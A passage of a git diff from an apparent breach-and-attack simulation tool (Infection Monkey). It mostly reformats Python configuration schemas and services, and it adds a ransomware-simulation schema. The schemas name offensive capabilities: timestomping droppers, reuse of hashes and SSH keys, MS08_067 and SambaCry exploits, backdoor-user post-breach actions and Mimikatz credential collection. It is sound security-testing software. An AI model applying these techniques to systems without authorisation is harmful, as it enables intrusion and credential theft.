@@ -270,55 +249,58 @@ INTERNAL = {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
- "description":
- "Determines whether the dropper should set the monkey's file date to be the same as"
- " another file"
+ "description": "Determines whether the dropper should set the monkey's file "
+ "date to be the same as"
+ " another file",
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
- "description":
- "Determines which file the dropper should copy the date from if it's configured to do"
- " so on Windows (use fullpath)"
+ "description": "Determines which file the dropper should copy the date from if "
+ "it's configured to do"
+ " so on Windows (use fullpath)",
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
- "description":
- "Determines which file the dropper should copy the date from if it's configured to do"
- " so on Linux (use fullpath)"
+ "description": "Determines which file the dropper should copy the date from if "
+ "it's configured to do"
+ " so on Linux (use fullpath)",
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
- "description": "Determines where should the dropper place the monkey on a Linux machine"
+ "description": "Determines where should the dropper place the monkey on a "
+ "Linux machine",
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\temp\\monkey32.exe",
- "description": "Determines where should the dropper place the monkey on a Windows machine "
- "(32bit)"
+ "description": "Determines where should the dropper place the monkey on a "
+ "Windows machine "
+ "(32bit)",
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\temp\\monkey64.exe",
- "description": "Determines where should the dropper place the monkey on a Windows machine "
- "(64 bit)"
+ "description": "Determines where should the dropper place the monkey on a "
+ "Windows machine "
+ "(64 bit)",
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
- "description":
- "Determines whether the dropper should try to move itself instead of copying itself"
- " to target path"
- }
- }
+ "description": "Determines whether the dropper should try to move itself "
+ "instead of copying itself"
+ " to target path",
+ },
+ },
},
"logging": {
"title": "Logging",
@@ -328,33 +310,34 @@ INTERNAL = {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
- "description": "The fullpath of the dropper log file on Linux"
+ "description": "The fullpath of the dropper log file on Linux",
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
- "description": "The fullpath of the dropper log file on Windows"
+ "description": "The fullpath of the dropper log file on Windows",
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
- "description": "The fullpath of the monkey log file on Linux"
+ "description": "The fullpath of the monkey log file on Linux",
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
- "description": "The fullpath of the monkey log file on Windows"
+ "description": "The fullpath of the monkey log file on Windows",
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
- "description": "Determines whether the monkey sends its log to the Monkey Island server"
- }
- }
+ "description": "Determines whether the monkey sends its log to the Monkey "
+ "Island server",
+ },
+ },
},
"exploits": {
"title": "Exploits",
@@ -364,32 +347,27 @@ INTERNAL = {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
+ "items": {"type": "string"},
"default": [],
- "description": "List of LM hashes to use on exploits using credentials"
+ "description": "List of LM hashes to use on exploits using credentials",
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
+ "items": {"type": "string"},
"default": [],
- "description": "List of NTLM hashes to use on exploits using credentials"
+ "description": "List of NTLM hashes to use on exploits using credentials",
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
- "items": {
- "type": "string"
- },
- "description": "List of SSH key pairs to use, when trying to ssh into servers"
- }, "general": {
+ "items": {"type": "string"},
+ "description": "List of SSH key pairs to use, when trying to ssh into servers",
+ },
+ "general": {
"title": "General",
"type": "object",
"properties": {
@@ -397,10 +375,11 @@ INTERNAL = {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
- "description": "Determines whether the monkey should skip the exploit if the monkey's file"
- " is already on the remote machine"
+ "description": "Determines whether the monkey should skip the exploit "
+ "if the monkey's file"
+ " is already on the remote machine",
}
- }
+ },
},
"ms08_067": {
"title": "MS08_067",
@@ -410,21 +389,15 @@ INTERNAL = {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
- "description": "Number of attempts to exploit using MS08_067"
+ "description": "Number of attempts to exploit using MS08_067",
},
"user_to_add": {
"title": "Remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
- "description": "Username to add on successful exploit"
+ "description": "Username to add on successful exploit",
},
- "remote_user_pass": {
- "title": "Remote user password",
- "type": "string",
- "default": "Password1!",
- "description": "Password to use for created user"
- }
- }
+ },
},
"sambacry": {
"title": "SambaCry",
@@ -434,41 +407,37 @@ INTERNAL = {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
- "description": "Timeout (in seconds) of SambaCry trigger"
+ "description": "Timeout (in seconds) of SambaCry trigger",
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
+ "items": {"type": "string"},
"default": [
- '/',
- '/mnt',
- '/tmp',
- '/storage',
- '/export',
- '/share',
- '/shares',
- '/home'
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home",
],
- "description": "List of full paths to share folder for SambaCry to guess"
+ "description": "List of full paths to share folder for SambaCry to "
+ "guess",
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- "IPC$", "print$"
- ],
- "description": "These shares won't be checked when exploiting with SambaCry"
- }
- }
- }
+ "items": {"type": "string"},
+ "default": ["IPC$", "print$"],
+ "description": "These shares won't be checked when exploiting with "
+ "SambaCry",
+ },
+ },
+ },
},
"smb_service": {
"title": "SMB service",
@@ -478,17 +447,18 @@ INTERNAL = {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
- "description":
- "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
+ "description": "Timeout (in seconds) for SMB download operation (used in "
+ "various exploits using SMB)",
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
- "description": "Name of the SMB service that will be set up to download monkey"
- }
- }
- }
+ "description": "Name of the SMB service that will be set up to download "
+ "monkey",
+ },
+ },
+ },
},
"testing": {
"title": "Testing",
@@ -498,10 +468,11 @@ INTERNAL = {
"title": "Export monkey telemetries",
"type": "boolean",
"default": False,
- "description": "Exports unencrypted telemetries that can be used for tests in development."
- " Do not turn on!"
+ "description": "Exports unencrypted telemetries that "
+ "can be used for tests in development."
+ " Do not turn on!",
}
- }
- }
- }
+ },
+ },
+ },
}
diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py
index 82a394b65..e745da582 100644
--- a/monkey/monkey_island/cc/services/config_schema/monkey.py
+++ b/monkey/monkey_island/cc/services/config_schema/monkey.py
@@ -1,6 +1,11 @@
-from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,
- ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,
- MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)
+from common.common_consts.system_info_collectors_names import (
+ AWS_COLLECTOR,
+ AZURE_CRED_COLLECTOR,
+ ENVIRONMENT_COLLECTOR,
+ HOSTNAME_COLLECTOR,
+ MIMIKATZ_COLLECTOR,
+ PROCESS_LIST_COLLECTOR,
+)
MONKEY = {
"title": "Monkey",
@@ -15,54 +20,52 @@ MONKEY = {
"type": "string",
"default": "",
"description": "Command to be executed after breaching. "
- "Use this field to run custom commands or execute uploaded "
- "files on exploited machines.\nExample: "
- "\"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh\""
+ "Use this field to run custom commands or execute uploaded "
+ "files on exploited machines.\nExample: "
+ '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"',
},
"PBA_linux_file": {
"title": "Linux post-breach file",
"type": "string",
"format": "data-url",
"description": "File to be uploaded after breaching. "
- "Use the 'Linux post-breach command' field to "
- "change permissions, run, or delete the file. "
- "Reference your file by filename."
+ "Use the 'Linux post-breach command' field to "
+ "change permissions, run, or delete the file. "
+ "Reference your file by filename.",
},
"custom_PBA_windows_cmd": {
"title": "Windows post-breach command",
"type": "string",
"default": "",
"description": "Command to be executed after breaching. "
- "Use this field to run custom commands or execute uploaded "
- "files on exploited machines.\nExample: "
- "\"my_script.bat & del my_script.bat\""
+ "Use this field to run custom commands or execute uploaded "
+ "files on exploited machines.\nExample: "
+ '"my_script.bat & del my_script.bat"',
},
"PBA_windows_file": {
"title": "Windows post-breach file",
"type": "string",
"format": "data-url",
"description": "File to be uploaded after breaching. "
- "Use the 'Windows post-breach command' field to "
- "change permissions, run, or delete the file. "
- "Reference your file by filename."
+ "Use the 'Windows post-breach command' field to "
+ "change permissions, run, or delete the file. "
+ "Reference your file by filename.",
},
"PBA_windows_filename": {
"title": "Windows PBA filename",
"type": "string",
- "default": ""
+ "default": "",
},
"PBA_linux_filename": {
"title": "Linux PBA filename",
"type": "string",
- "default": ""
+ "default": "",
},
"post_breach_actions": {
"title": "Post breach actions",
"type": "array",
"uniqueItems": True,
- "items": {
- "$ref": "#/definitions/post_breach_actions"
- },
+ "items": {"$ref": "#/definitions/post_breach_actions"},
"default": [
"BackdoorUser",
"CommunicateAsNewUser",
@@ -72,10 +75,10 @@ MONKEY = {
"ChangeSetuidSetgid",
"ScheduleJobs",
"Timestomping",
- "AccountDiscovery"
- ]
+ "AccountDiscovery",
+ ],
},
- }
+ },
},
"system_info": {
"title": "System info",
@@ -85,19 +88,17 @@ MONKEY = {
"title": "System info collectors",
"type": "array",
"uniqueItems": True,
- "items": {
- "$ref": "#/definitions/system_info_collector_classes"
- },
+ "items": {"$ref": "#/definitions/system_info_collector_classes"},
"default": [
ENVIRONMENT_COLLECTOR,
AWS_COLLECTOR,
HOSTNAME_COLLECTOR,
PROCESS_LIST_COLLECTOR,
MIMIKATZ_COLLECTOR,
- AZURE_CRED_COLLECTOR
- ]
+ AZURE_CRED_COLLECTOR,
+ ],
},
- }
+ },
},
"persistent_scanning": {
"title": "Persistent scanning",
@@ -108,26 +109,26 @@ MONKEY = {
"type": "integer",
"default": 1,
"minimum": 1,
- "description": "Determines how many iterations of the monkey's full lifecycle should occur "
- "(how many times to do the scan)"
+ "description": "Determines how many iterations of the monkey's full lifecycle "
+ "should occur "
+ "(how many times to do the scan)",
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"minimum": 0,
- "description":
- "Determines for how long (in seconds) should the monkey wait before starting another scan"
+ "description": "Determines for how long (in seconds) should the monkey wait "
+ "before starting another scan",
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
- "description":
- "Determines whether the monkey should retry exploiting machines"
- " it didn't successfully exploit on previous scans"
- }
- }
- }
- }
+ "description": "Determines whether the monkey should retry exploiting machines"
+ " it didn't successfully exploit on previous scans",
+ },
+ },
+ },
+ },
}
diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py
new file mode 100644
index 000000000..dd77a175d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py
@@ -0,0 +1,71 @@
+from common.common_consts.validation_formats import (
+ VALID_RANSOMWARE_TARGET_PATH_LINUX,
+ VALID_RANSOMWARE_TARGET_PATH_WINDOWS,
+)
+
+RANSOMWARE = {
+ "title": "Ransomware",
+ "type": "object",
+ "properties": {
+ "encryption": {
+ "title": "Simulation",
+ "type": "object",
+ "description": "To simulate ransomware encryption, you'll need to provide Infection "
+ "Monkey with files that it can safely encrypt. On each machine where you would like "
+ "the ransomware simulation to run, create a directory and put some files in it."
+ "\n\nProvide the path to the directory that was created on each machine.",
+ "properties": {
+ "enabled": {
+ "title": "Encrypt files",
+ "type": "boolean",
+ "default": True,
+ "description": "Ransomware encryption will be simulated by flipping every bit "
+ "in the files contained within the target directories.",
+ },
+ "info_box": {
+ "info": "No files will be encrypted if a directory is not specified or doesn't "
+ "exist on a victim machine.",
+ },
+ "directories": {
+ "title": "Directories to encrypt",
+ "type": "object",
+ "properties": {
+ "linux_target_dir": {
+ "title": "Linux target directory",
+ "type": "string",
+ "format": VALID_RANSOMWARE_TARGET_PATH_LINUX,
+ "default": "",
+ "description": "A path to a directory on Linux systems that contains "
+ "files that you will allow Infection Monkey to encrypt. If no "
+ "directory is specified, no files will be encrypted.",
+ },
+ "windows_target_dir": {
+ "title": "Windows target directory",
+ "type": "string",
+ "format": VALID_RANSOMWARE_TARGET_PATH_WINDOWS,
+ "default": "",
+ "description": "A path to a directory on Windows systems that contains "
+ "files that you will allow Infection Monkey to encrypt. If no "
+ "directory is specified, no files will be encrypted.",
+ },
+ },
+ },
+ "text_box": {
+ "text": "Note: A README.txt will be left in the specified target " "directory.",
+ },
+ },
+ },
+ "other_behaviors": {
+ "title": "Other behavior",
+ "type": "object",
+ "properties": {
+ "readme": {
+ "title": "Create a README.txt file",
+ "type": "boolean",
+ "default": True,
+ "description": "Creates a README.txt ransomware note on infected systems.",
+ }
+ },
+ },
+ },
+}
diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py
index 493d5af03..8d2b5c18c 100644
--- a/monkey/monkey_island/cc/services/configuration/utils.py
+++ b/monkey/monkey_island/cc/services/configuration/utils.py
@@ -1,5 +1,5 @@
-from monkey_island.cc.services.config import ConfigService
from common.config_value_paths import INACCESSIBLE_SUBNETS_PATH
+from monkey_island.cc.services.config import ConfigService
def get_config_network_segments_as_subnet_groups():
diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py
index 6144b6ef3..d0656f946 100644
--- a/monkey/monkey_island/cc/services/database.py
+++ b/monkey/monkey_island/cc/services/database.py
@@ -6,7 +6,6 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.post_breach_files import remove_PBA_files
logger = logging.getLogger(__name__)
@@ -17,15 +16,17 @@ class Database(object):
@staticmethod
def reset_db():
- logger.info('Resetting database')
- remove_PBA_files()
+ logger.info("Resetting database")
# We can't drop system collections.
- [Database.drop_collection(x) for x in mongo.db.collection_names() if not x.startswith('system.')
- and not x == AttackMitigations.COLLECTION_NAME]
+ [
+ Database.drop_collection(x)
+ for x in mongo.db.collection_names()
+ if not x.startswith("system.") and not x == AttackMitigations.COLLECTION_NAME
+ ]
ConfigService.init_config()
AttackConfig.reset_config()
- logger.info('DB was reset')
- return jsonify(status='OK')
+ logger.info("DB was reset")
+ return jsonify(status="OK")
@staticmethod
def drop_collection(collection_name: str):
diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py
index f7a0664bf..9e2ce1730 100644
--- a/monkey/monkey_island/cc/services/edge/displayed_edge.py
+++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py
@@ -5,11 +5,8 @@ from bson import ObjectId
from monkey_island.cc.services.edge.edge import EdgeService
-__author__ = "itay.mizeretz"
-
class DisplayedEdgeService:
-
@staticmethod
def get_displayed_edges_by_dst(dst_id: str, for_report=False):
edges = EdgeService.get_by_dst_node(dst_node_id=ObjectId(dst_id))
@@ -27,8 +24,9 @@ class DisplayedEdgeService:
os = {}
if len(edge.scans) > 0:
- services = DisplayedEdgeService.services_to_displayed_services(edge.scans[-1]["data"]["services"],
- for_report)
+ services = DisplayedEdgeService.services_to_displayed_services(
+ edge.scans[-1]["data"]["services"], for_report
+ )
os = edge.scans[-1]["data"]["os"]
displayed_edge = DisplayedEdgeService.edge_to_net_edge(edge)
@@ -36,23 +34,22 @@ class DisplayedEdgeService:
displayed_edge["ip_address"] = edge.ip_address
displayed_edge["services"] = services
displayed_edge["os"] = os
- # we need to deepcopy all mutable edge properties, because weak-reference link is made otherwise,
- # which is destroyed after method is exited and causes an error later.
+ # we need to deepcopy all mutable edge properties, because weak-reference link is made
+ # otherwise, which is destroyed after method is exited and causes an error later.
displayed_edge["exploits"] = deepcopy(edge.exploits)
displayed_edge["_label"] = edge.get_label()
return displayed_edge
@staticmethod
def generate_pseudo_edge(edge_id, src_node_id, dst_node_id, src_label, dst_label):
- edge = \
- {
- "id": edge_id,
- "from": src_node_id,
- "to": dst_node_id,
- "group": "island",
- "src_label": src_label,
- "dst_label": dst_label
- }
+ edge = {
+ "id": edge_id,
+ "from": src_node_id,
+ "to": dst_node_id,
+ "group": "island",
+ "src_label": src_label,
+ "dst_label": dst_label,
+ }
edge["_label"] = DisplayedEdgeService.get_pseudo_label(edge)
return edge
@@ -65,19 +62,21 @@ class DisplayedEdgeService:
if for_report:
return [x for x in services]
else:
- return [x + ": " + (services[x]['name'] if 'name' in services[x] else 'unknown') for x in services]
+ return [
+ x + ": " + (services[x]["name"] if "name" in services[x] else "unknown")
+ for x in services
+ ]
@staticmethod
def edge_to_net_edge(edge: EdgeService):
- return \
- {
- "id": edge.id,
- "from": edge.src_node_id,
- "to": edge.dst_node_id,
- "group": edge.get_group(),
- "src_label": edge.src_label,
- "dst_label": edge.dst_label
- }
+ return {
+ "id": edge.id,
+ "from": edge.src_node_id,
+ "to": edge.dst_node_id,
+ "group": edge.get_group(),
+ "src_label": edge.src_label,
+ "dst_label": edge.dst_label,
+ }
RIGHT_ARROW = "\u2192"
diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py
index 4c9ef57d7..461b0e8a5 100644
--- a/monkey/monkey_island/cc/services/edge/edge.py
+++ b/monkey/monkey_island/cc/services/edge/edge.py
@@ -12,7 +12,6 @@ RIGHT_ARROW = "\u2192"
class EdgeService(Edge):
-
@staticmethod
def get_all_edges() -> List[EdgeService]:
return EdgeService.objects()
@@ -44,7 +43,9 @@ class EdgeService(Edge):
elif self.dst_node_id == node_id:
self.dst_label = label
else:
- raise DoesNotExist("Node id provided does not match with any endpoint of an self provided.")
+ raise DoesNotExist(
+ "Node id provided does not match with any endpoint of an self provided."
+ )
self.save()
@staticmethod
@@ -65,12 +66,8 @@ class EdgeService(Edge):
self.save()
def update_based_on_scan_telemetry(self, telemetry: Dict):
- machine_info = copy.deepcopy(telemetry['data']['machine'])
- new_scan = \
- {
- "timestamp": telemetry["timestamp"],
- "data": machine_info
- }
+ machine_info = copy.deepcopy(telemetry["data"]["machine"])
+ new_scan = {"timestamp": telemetry["timestamp"], "data": machine_info}
ip_address = machine_info.pop("ip_addr")
domain_name = machine_info.pop("domain_name")
self.scans.append(new_scan)
@@ -81,7 +78,7 @@ class EdgeService(Edge):
def update_based_on_exploit(self, exploit: Dict):
self.exploits.append(exploit)
self.save()
- if exploit['result']:
+ if exploit["result"]:
self.set_exploited()
def set_exploited(self):
diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py
deleted file mode 100644
index 5aa97d923..000000000
--- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py
+++ /dev/null
@@ -1,93 +0,0 @@
-from bson import ObjectId
-
-from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
-from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
-
-SCAN_DATA_MOCK = [{
- "timestamp": "2020-05-27T14:59:28.944Z",
- "data": {
- "os": {
- "type": "linux",
- "version": "Ubuntu-4ubuntu2.8"
- },
- "services": {
- "tcp-8088": {
- "display_name": "unknown(TCP)",
- "port": 8088
- },
- "tcp-22": {
- "display_name": "SSH",
- "port": 22,
- "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n",
- "name": "ssh"
- }
- },
- "monkey_exe": None,
- "default_tunnel": None,
- "default_server": None
- }
-}]
-
-EXPLOIT_DATA_MOCK = [{
- "result": True,
- "exploiter": "ElasticGroovyExploiter",
- "info": {
- "display_name": "Elastic search",
- "started": "2020-05-11T08:59:38.105Z",
- "finished": "2020-05-11T08:59:38.106Z",
- "vulnerable_urls": [],
- "vulnerable_ports": [],
- "executed_cmds": []
- },
- "attempts": [],
- "timestamp": "2020-05-27T14:59:29.048Z"
-}]
-
-
-class TestDisplayedEdgeService:
- def test_get_displayed_edges_by_to(self):
-
- dst_id = ObjectId()
-
- src_id = ObjectId()
- EdgeService.get_or_create_edge(src_id, dst_id, "Ubuntu-4ubuntu2.8", "Ubuntu-4ubuntu2.8")
-
- src_id2 = ObjectId()
- EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8")
-
- displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id))
- assert len(displayed_edges) == 2
-
- def test_edge_to_displayed_edge(self):
- src_node_id = ObjectId()
- dst_node_id = ObjectId()
- edge = EdgeService(src_node_id=src_node_id,
- dst_node_id=dst_node_id,
- scans=SCAN_DATA_MOCK,
- exploits=EXPLOIT_DATA_MOCK,
- exploited=True,
- domain_name=None,
- ip_address="10.2.2.2",
- dst_label="Ubuntu-4ubuntu2.8",
- src_label="Ubuntu-4ubuntu3.2")
-
- displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge)
-
- assert displayed_edge['to'] == dst_node_id
- assert displayed_edge['from'] == src_node_id
- assert displayed_edge['ip_address'] == "10.2.2.2"
- assert displayed_edge['services'] == ["tcp-8088: unknown", "tcp-22: ssh"]
- assert displayed_edge['os'] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"}
- assert displayed_edge['exploits'] == EXPLOIT_DATA_MOCK
- assert displayed_edge['_label'] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8"
- assert displayed_edge['group'] == "exploited"
- return displayed_edge
-
- def test_services_to_displayed_services(self):
- services1 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"],
- True)
- assert services1 == ["tcp-8088", "tcp-22"]
-
- services2 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"],
- False)
- assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"]
diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py
index 0e22a34ba..cf4bf8466 100644
--- a/monkey/monkey_island/cc/services/groups_and_users_consts.py
+++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py
@@ -1,6 +1,5 @@
"""This file will include consts values regarding the groupsandusers collection"""
-__author__ = 'maor.rayzin'
USERTYPE = 1
GROUPTYPE = 2
diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py
index 44d303fc3..5529cc70d 100644
--- a/monkey/monkey_island/cc/services/infection_lifecycle.py
+++ b/monkey/monkey_island/cc/services/infection_lifecycle.py
@@ -4,25 +4,29 @@ from datetime import datetime
from flask import jsonify
from monkey_island.cc.database import mongo
-from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
+from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.report import ReportService
-from monkey_island.cc.services.reporting.report_generation_synchronisation import (is_report_being_generated,
- safe_generate_reports)
+from monkey_island.cc.services.reporting.report_generation_synchronisation import (
+ is_report_being_generated,
+ safe_generate_reports,
+)
logger = logging.getLogger(__name__)
class InfectionLifecycle:
-
@staticmethod
def kill_all():
- mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
- upsert=False,
- multi=True)
- logger.info('Kill all monkeys was called')
- return jsonify(status='OK')
+ mongo.db.monkey.update(
+ {"dead": False},
+ {"$set": {"config.alive": False, "modifytime": datetime.now()}},
+ upsert=False,
+ multi=True,
+ )
+ logger.info("Kill all monkeys was called")
+ return jsonify(status="OK")
@staticmethod
def get_completed_steps():
@@ -39,13 +43,15 @@ class InfectionLifecycle:
run_server=True,
run_monkey=is_any_exists,
infection_done=infection_done,
- report_done=report_done)
+ report_done=report_done,
+ )
@staticmethod
def _on_finished_infection():
- # Checking is_report_being_generated here, because we don't want to wait to generate a report; rather,
+ # Checking is_report_being_generated here, because we don't want to wait to generate a
+ # report; rather,
# we want to skip and reply.
if not is_report_being_generated() and not ReportService.is_latest_report_exists():
safe_generate_reports()
if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED:
- TestTelemStore.export_test_telems()
+ TestTelemStore.export_telems()
diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py
new file mode 100644
index 000000000..6ff0d2706
--- /dev/null
+++ b/monkey/monkey_island/cc/services/initialize.py
@@ -0,0 +1,7 @@
+from monkey_island.cc.services.post_breach_files import PostBreachFilesService
+from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService
+
+
+def initialize_services(data_dir):
+ PostBreachFilesService.initialize(data_dir)
+ LocalMonkeyRunService.initialize(data_dir)
diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py
index be6aae12d..0bbf4ec0b 100644
--- a/monkey/monkey_island/cc/services/island_logs.py
+++ b/monkey/monkey_island/cc/services/island_logs.py
@@ -1,7 +1,5 @@
import logging
-__author__ = "Maor.Rayzin"
-
logger = logging.getLogger(__name__)
@@ -13,21 +11,20 @@ class IslandLogService:
def get_log_file():
"""
This static function is a helper function for the monkey island log download function.
- It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler
+ It finds the logger handlers and checks if one of them is a fileHandler of any kind by
+ checking if the handler
has the property handler.baseFilename.
:return:
a dict with the log file content.
"""
logger_handlers = logger.parent.handlers
for handler in logger_handlers:
- if hasattr(handler, 'baseFilename'):
- logger.info('Log file found: {0}'.format(handler.baseFilename))
+ if hasattr(handler, "baseFilename"):
+ logger.info("Log file found: {0}".format(handler.baseFilename))
log_file_path = handler.baseFilename
- with open(log_file_path, 'rt') as f:
+ with open(log_file_path, "rt") as f:
log_file = f.read()
- return {
- 'log_file': log_file
- }
+ return {"log_file": log_file}
- logger.warning('No log file could be found, check logger config.')
+ logger.warning("No log file could be found, check logger config.")
return None
diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py
index a10e51f86..06437e4fc 100644
--- a/monkey/monkey_island/cc/services/log.py
+++ b/monkey/monkey_island/cc/services/log.py
@@ -3,8 +3,6 @@ from datetime import datetime
import monkey_island.cc.services.node
from monkey_island.cc.database import database, mongo
-__author__ = "itay.mizeretz"
-
class LogService:
def __init__(self):
@@ -12,37 +10,33 @@ class LogService:
@staticmethod
def get_log_by_monkey_id(monkey_id):
- log = mongo.db.log.find_one({'monkey_id': monkey_id})
+ log = mongo.db.log.find_one({"monkey_id": monkey_id})
if log:
- log_file = database.gridfs.get(log['file_id'])
+ log_file = database.gridfs.get(log["file_id"])
monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label(
- monkey_island.cc.services.node.NodeService.get_monkey_by_id(log['monkey_id']))
- return \
- {
- 'monkey_label': monkey_label,
- 'log': log_file.read().decode(),
- 'timestamp': log['timestamp']
- }
+ monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"])
+ )
+ return {
+ "monkey_label": monkey_label,
+ "log": log_file.read().decode(),
+ "timestamp": log["timestamp"],
+ }
@staticmethod
def remove_logs_by_monkey_id(monkey_id):
- log = mongo.db.log.find_one({'monkey_id': monkey_id})
+ log = mongo.db.log.find_one({"monkey_id": monkey_id})
if log is not None:
- database.gridfs.delete(log['file_id'])
- mongo.db.log.delete_one({'monkey_id': monkey_id})
+ database.gridfs.delete(log["file_id"])
+ mongo.db.log.delete_one({"monkey_id": monkey_id})
@staticmethod
def add_log(monkey_id, log_data, timestamp=datetime.now()):
LogService.remove_logs_by_monkey_id(monkey_id)
- file_id = database.gridfs.put(log_data, encoding='utf-8')
+ file_id = database.gridfs.put(log_data, encoding="utf-8")
return mongo.db.log.insert(
- {
- 'monkey_id': monkey_id,
- 'file_id': file_id,
- 'timestamp': timestamp
- }
+ {"monkey_id": monkey_id, "file_id": file_id, "timestamp": timestamp}
)
@staticmethod
def log_exists(monkey_id):
- return mongo.db.log.find_one({'monkey_id': monkey_id}) is not None
+ return mongo.db.log.find_one({"monkey_id": monkey_id}) is not None
diff --git a/monkey/monkey_island/cc/test_common/__init__.py b/monkey/monkey_island/cc/services/mode/__init__.py
similarity index 100%
rename from monkey/monkey_island/cc/test_common/__init__.py
rename to monkey/monkey_island/cc/services/mode/__init__.py
diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py
new file mode 100644
index 000000000..c45e03116
--- /dev/null
+++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py
@@ -0,0 +1,26 @@
+import logging
+
+from monkey_island.cc.models.island_mode_model import IslandMode
+from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
+
+LOG = logging.getLogger(__name__)
+
+
+def set_mode(mode: IslandModeEnum):
